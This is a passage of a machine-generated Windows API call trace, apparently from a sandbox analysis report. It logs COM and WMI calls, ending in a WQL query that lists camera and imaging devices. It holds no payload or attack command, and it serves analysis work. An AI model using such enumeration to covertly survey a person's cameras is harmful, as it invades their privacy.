ppvObject=0x1afbbfb0*=0x0) returned 0x80004002 [0190.142] IUnknown:Release (This=0x77dd58) returned 0x1 [0190.144] CoGetClassObject (in: rclsid=0x1b1c9aa8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1afbb3a8 | out: ppv=0x1afbb3a8*=0x1b28e320) returned 0x0 [0190.145] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b28e320, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbb490 | out: ppvObject=0x1afbb490*=0x0) returned 0x80004002 [0190.145] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b28e320, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb468 | out: ppvObject=0x1afbb468*=0x1b2949a0) returned 0x0 [0190.145] WbemDefPath:IUnknown:Release (This=0x1b28e320) returned 0x0 [0190.145] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b2949a0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb210 | out: ppvObject=0x1afbb210*=0x1b2949a0) returned 0x0 [0190.146] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b2949a0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbb2a0 | out: ppvObject=0x1afbb2a0*=0x0) returned 0x80004002 [0190.146] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b2949a0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbaa98 | out: ppvObject=0x1afbaa98*=0x0) returned 0x80004002 [0190.146] WbemDefPath:IUnknown:AddRef (This=0x1b2949a0) returned 0x3 [0190.146] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b2949a0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afba958 | out: ppvObject=0x1afba958*=0x0) returned 0x80004002 [0190.146] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b2949a0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afba8e0 | out: ppvObject=0x1afba8e0*=0x0) returned 0x80004002 [0190.146] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b2949a0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afba8d0 | out: ppvObject=0x1afba8d0*=0x1b28e480) returned 0x0 [0190.146] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b28e480, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1afba8f8 | out: pCid=0x1afba8f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0190.146] WbemDefPath:IUnknown:Release (This=0x1b28e480) returned 0x3 [0190.146] CoGetContextToken (in: pToken=0x1afba980 | out: pToken=0x1afba980) returned 0x0 [0190.146] CoGetContextToken (in: pToken=0x1afbae00 | out: pToken=0x1afbae00) returned 0x0 [0190.146] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b2949a0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbaec0 | out: ppvObject=0x1afbaec0*=0x0) returned 0x80004002 [0190.146] WbemDefPath:IUnknown:Release (This=0x1b2949a0) returned 0x2 [0190.146] WbemDefPath:IUnknown:Release (This=0x1b2949a0) returned 0x1 [0190.146] CoGetContextToken (in: pToken=0x1afbbbf0 | out: pToken=0x1afbbbf0) returned 0x0 [0190.146] CoGetContextToken (in: pToken=0x1afbbaf0 | out: pToken=0x1afbbaf0) returned 0x0 [0190.147] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b2949a0, riid=0x1afbbc50*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1afbbc20 | out: ppvObject=0x1afbbc20*=0x1b2949a0) returned 0x0 [0190.147] WbemDefPath:IUnknown:AddRef (This=0x1b2949a0) returned 0x3 [0190.147] WbemDefPath:IUnknown:Release (This=0x1b2949a0) returned 0x2 [0190.147] WbemDefPath:IWbemPath:SetText (This=0x1b2949a0, uMode=0x4, pszPath="//./root/cimv2") returned 0x0 [0190.147] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1afbcf48 | out: puCount=0x1afbcf48*=0x2) returned 0x0 [0190.147] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1afbcf40*=0x0, pszText=0x0 | out: puBuffLength=0x1afbcf40*=0xf, pszText=0x0) returned 0x0 [0190.147] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1afbcf40*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbcf40*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0190.158] CoGetObjectContext (in: riid=0x2356978*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1afbce88 | out: ppv=0x1afbce88*=0x77dd58) returned 0x0 [0190.159] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1afbce78 | out: pAptType=0x1afbce78*=1) returned 0x0 [0190.159] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x2356958*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1afbce80 | out: ppvObject=0x1afbce80*=0x0) returned 0x80004002 [0190.159] IUnknown:Release (This=0x77dd58) returned 0x1 [0190.159] CoGetClassObject (in: rclsid=0x1b1c9c68*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1afbc548 | out: ppv=0x1afbc548*=0x1b28e7c0) returned 0x0 [0190.160] WbemLocator:IUnknown:QueryInterface (in: This=0x1b28e7c0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbc630 | out: ppvObject=0x1afbc630*=0x0) returned 0x80004002 [0190.160] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b28e7c0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc608 | out: ppvObject=0x1afbc608*=0x1b28e7e0) returned 0x0 [0190.160] WbemLocator:IUnknown:Release (This=0x1b28e7c0) returned 0x0 [0190.160] WbemLocator:IUnknown:QueryInterface (in: This=0x1b28e7e0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc3b0 | out: ppvObject=0x1afbc3b0*=0x1b28e7e0) returned 0x0 [0190.160] WbemLocator:IUnknown:QueryInterface (in: This=0x1b28e7e0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbc440 | out: ppvObject=0x1afbc440*=0x0) returned 0x80004002 [0190.160] WbemLocator:IUnknown:QueryInterface (in: This=0x1b28e7e0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbbc38 | out: ppvObject=0x1afbbc38*=0x0) returned 0x80004002 [0190.160] WbemLocator:IUnknown:AddRef (This=0x1b28e7e0) returned 0x3 [0190.160] WbemLocator:IUnknown:QueryInterface (in: This=0x1b28e7e0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbbaf8 | out: ppvObject=0x1afbbaf8*=0x0) returned 0x80004002 [0190.160] WbemLocator:IUnknown:QueryInterface (in: This=0x1b28e7e0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbba80 | out: ppvObject=0x1afbba80*=0x0) returned 0x80004002 [0190.160] WbemLocator:IUnknown:QueryInterface (in: This=0x1b28e7e0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbba70 | out: ppvObject=0x1afbba70*=0x0) returned 0x80004002 [0190.160] CoGetContextToken (in: pToken=0x1afbbb20 | out: pToken=0x1afbbb20) returned 0x0 [0190.160] CoGetContextToken (in: pToken=0x1afbbfa0 | out: pToken=0x1afbbfa0) returned 0x0 [0190.160] WbemLocator:IUnknown:QueryInterface (in: This=0x1b28e7e0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc060 | out: ppvObject=0x1afbc060*=0x0) returned 0x80004002 [0190.161] WbemLocator:IUnknown:Release (This=0x1b28e7e0) returned 0x2 [0190.161] WbemLocator:IUnknown:Release (This=0x1b28e7e0) returned 0x1 [0190.161] CoGetContextToken (in: pToken=0x1afbc9e0 | out: pToken=0x1afbc9e0) returned 0x0 [0190.161] CoGetContextToken (in: pToken=0x1afbc8e0 | out: pToken=0x1afbc8e0) returned 0x0 [0190.161] WbemLocator:IUnknown:QueryInterface (in: This=0x1b28e7e0, riid=0x1afbca40*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1afbca10 | out: ppvObject=0x1afbca10*=0x1b28e7e0) returned 0x0 [0190.161] WbemLocator:IUnknown:AddRef (This=0x1b28e7e0) returned 0x3 [0190.161] WbemLocator:IUnknown:Release (This=0x1b28e7e0) returned 0x2 [0190.161] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1afbce18 | out: puCount=0x1afbce18*=0x2) returned 0x0 [0190.161] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=8, puBuffLength=0x1afbce10*=0x0, pszText=0x0 | out: puBuffLength=0x1afbce10*=0xf, pszText=0x0) returned 0x0 [0190.161] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=8, puBuffLength=0x1afbce10*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbce10*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0190.161] CoCreateInstance (in: rclsid=0x7ffb15d966a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffb15d96708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1afbcb60 | out: ppv=0x1afbcb60*=0x1b28eac0) returned 0x0 [0190.161] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b28eac0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1afbccd8 | out: ppNamespace=0x1afbccd8*=0x1b219340) returned 0x0 [0191.422] WbemLocator:IUnknown:QueryInterface (in: This=0x1b219340, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc9d8 | out: ppvObject=0x1afbc9d8*=0x1b2027f0) returned 0x0 [0191.423] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b2027f0, pProxy=0x1b219340, pAuthnSvc=0x1afbcaa0, pAuthzSvc=0x1afbca20, pServerPrincName=0x1afbca48, pAuthnLevel=0x1afbca24, pImpLevel=0x1afbca30, pAuthInfo=0x1afbca58, pCapabilites=0x1afbca34 | out: pAuthnSvc=0x1afbcaa0*=0xa, pAuthzSvc=0x1afbca20*=0x0, pServerPrincName=0x1afbca48, pAuthnLevel=0x1afbca24*=0x6, pImpLevel=0x1afbca30*=0x2, pAuthInfo=0x1afbca58, pCapabilites=0x1afbca34*=0x1) returned 0x0 [0191.423] WbemLocator:IUnknown:Release (This=0x1b2027f0) returned 0x1 [0191.423] WbemLocator:IUnknown:QueryInterface (in: This=0x1b219340, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc970 | out: ppvObject=0x1afbc970*=0x1b202838) returned 0x0 [0191.423] WbemLocator:IUnknown:QueryInterface (in: This=0x1b219340, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc980 | out: ppvObject=0x1afbc980*=0x1b2027f0) returned 0x0 [0191.423] WbemLocator:IClientSecurity:SetBlanket (This=0x1b2027f0, pProxy=0x1b219340, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0191.424] WbemLocator:IUnknown:Release (This=0x1b2027f0) returned 0x2 [0191.424] WbemLocator:IUnknown:Release (This=0x1b202838) returned 0x1 [0191.424] CoTaskMemFree (pv=0x1b204760) [0191.424] WbemLocator:IUnknown:Release (This=0x1b28eac0) returned 0x0 [0191.641] WbemLocator:IUnknown:QueryInterface (in: This=0x1b219340, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc470 | out: ppvObject=0x1afbc470*=0x1b202838) returned 0x0 [0191.642] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202838, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbc500 | out: ppvObject=0x1afbc500*=0x0) returned 0x80004002 [0191.642] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202838, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbc120 | out: ppvObject=0x1afbc120*=0x0) returned 0x80004002 [0191.643] WbemLocator:IUnknown:QueryInterface (in: This=0x1b219340, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbbcf8 | out: ppvObject=0x1afbbcf8*=0x0) returned 0x80004002 [0191.643] WbemLocator:IUnknown:AddRef (This=0x1b202838) returned 0x3 [0191.643] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202838, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbbbb8 | out: ppvObject=0x1afbbbb8*=0x0) returned 0x80004002 [0191.643] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202838, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbbb40 | out: ppvObject=0x1afbbb40*=0x0) returned 0x80004002 [0191.643] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202838, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbb30 | out: ppvObject=0x1afbbb30*=0x1b202718) returned 0x0 [0191.643] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b202718, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1afbbb58 | out: pCid=0x1afbbb58*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0191.643] WbemLocator:IUnknown:Release (This=0x1b202718) returned 0x3 [0191.643] CoGetContextToken (in: pToken=0x1afbbbe0 | out: pToken=0x1afbbbe0) returned 0x0 [0191.643] CoGetContextToken (in: pToken=0x1afbc060 | out: pToken=0x1afbc060) returned 0x0 [0191.644] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202838, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc120 | out: ppvObject=0x1afbc120*=0x1b202800) returned 0x0 [0191.644] WbemLocator:IRpcOptions:Query (in: This=0x1b202800, pPrx=0x1b202838, dwProperty=2, pdwValue=0x1afbc110 | out: pdwValue=0x1afbc110) returned 0x80004002 [0191.644] WbemLocator:IUnknown:Release (This=0x1b202800) returned 0x3 [0191.644] WbemLocator:IUnknown:Release (This=0x1b202838) returned 0x2 [0191.644] CoGetContextToken (in: pToken=0x1afbc720 | out: pToken=0x1afbc720) returned 0x0 [0191.644] CoGetContextToken (in: pToken=0x1afbc620 | out: pToken=0x1afbc620) returned 0x0 [0191.644] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202838, riid=0x1afbc780*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1afbc750 | out: ppvObject=0x1afbc750*=0x1b219340) returned 0x0 [0191.644] WbemLocator:IUnknown:AddRef (This=0x1b219340) returned 0x4 [0191.644] WbemLocator:IUnknown:Release (This=0x1b219340) returned 0x3 [0191.644] WbemLocator:IUnknown:Release (This=0x1b219340) returned 0x2 [0191.644] SysStringLen (param_1=0x0) returned 0x0 [0191.644] CoGetContextToken (in: pToken=0x1afbc850 | out: pToken=0x1afbc850) returned 0x0 [0191.644] WbemLocator:IUnknown:AddRef (This=0x1b202838) returned 0x3 [0191.644] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202838, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc850 | out: ppvObject=0x1afbc850*=0x1b202838) returned 0x0 [0191.644] WbemLocator:IUnknown:Release (This=0x1b202838) returned 0x3 [0191.644] WbemLocator:IUnknown:Release (This=0x1b202838) returned 0x2 [0191.645] CoGetContextToken (in: pToken=0x1afbc920 | out: pToken=0x1afbc920) returned 0x0 [0191.645] WbemLocator:IUnknown:AddRef (This=0x1b219340) returned 0x3 [0191.645] IWbemServices:ExecQuery (in: This=0x1b219340, strQueryLanguage="WQL", strQuery="SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')", lFlags=16, pCtx=0x0, ppEnum=0x1afbce28 | out: ppEnum=0x1afbce28*=0x1b286320) returned 0x0 [0191.661] IUnknown:QueryInterface (in: This=0x1b286320, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbca98 | out: ppvObject=0x1afbca98*=0x1b286328) returned 0x0 [0191.661] IClientSecurity:QueryBlanket (in: This=0x1b286328, pProxy=0x1b286320, pAuthnSvc=0x1afbcb60, pAuthzSvc=0x1afbcae0, pServerPrincName=0x1afbcb08, pAuthnLevel=0x1afbcae4, pImpLevel=0x1afbcaf0, pAuthInfo=0x1afbcb18, pCapabilites=0x1afbcaf4 | out: pAuthnSvc=0x1afbcb60*=0xa, pAuthzSvc=0x1afbcae0*=0x0, pServerPrincName=0x1afbcb08, pAuthnLevel=0x1afbcae4*=0x6, pImpLevel=0x1afbcaf0*=0x2, pAuthInfo=0x1afbcb18, pCapabilites=0x1afbcaf4*=0x1) returned 0x0 [0191.661] IUnknown:Release (This=0x1b286328) returned 0x1 [0191.661] IUnknown:QueryInterface (in: This=0x1b286320, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbca30 | out: ppvObject=0x1afbca30*=0x1b2029d8) returned 0x0 [0191.661] IUnknown:QueryInterface (in: This=0x1b286320, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbca40 | out: ppvObject=0x1afbca40*=0x1b286328) returned 0x0 [0191.662] IClientSecurity:SetBlanket (This=0x1b286328, pProxy=0x1b286320, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0191.987] IUnknown:Release (This=0x1b286328) returned 0x2 [0191.987] WbemLocator:IUnknown:Release (This=0x1b2029d8) returned 0x1 [0191.987] CoTaskMemFree (pv=0x1b2044f0) [0191.987] IUnknown:QueryInterface (in: This=0x1b286320, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc500 | out: ppvObject=0x1afbc500*=0x1b2029d8) returned 0x0 [0191.988] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2029d8, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbc590 | out: ppvObject=0x1afbc590*=0x0) returned 0x80004002 [0191.988] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2029d8, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbc1b0 | out: ppvObject=0x1afbc1b0*=0x0) returned 0x80004002 [0191.988] IUnknown:QueryInterface (in: This=0x1b286320, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbbd88 | out: ppvObject=0x1afbbd88*=0x0) returned 0x80004002 [0191.989] WbemLocator:IUnknown:AddRef (This=0x1b2029d8) returned 0x3 [0191.989] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2029d8, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbbc48 | out: ppvObject=0x1afbbc48*=0x0) returned 0x80004002 [0191.989] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2029d8, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbbbd0 | out: ppvObject=0x1afbbbd0*=0x0) returned 0x80004002 [0191.989] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2029d8, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbbc0 | out: ppvObject=0x1afbbbc0*=0x1b2028b8) returned 0x0 [0191.989] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b2028b8, 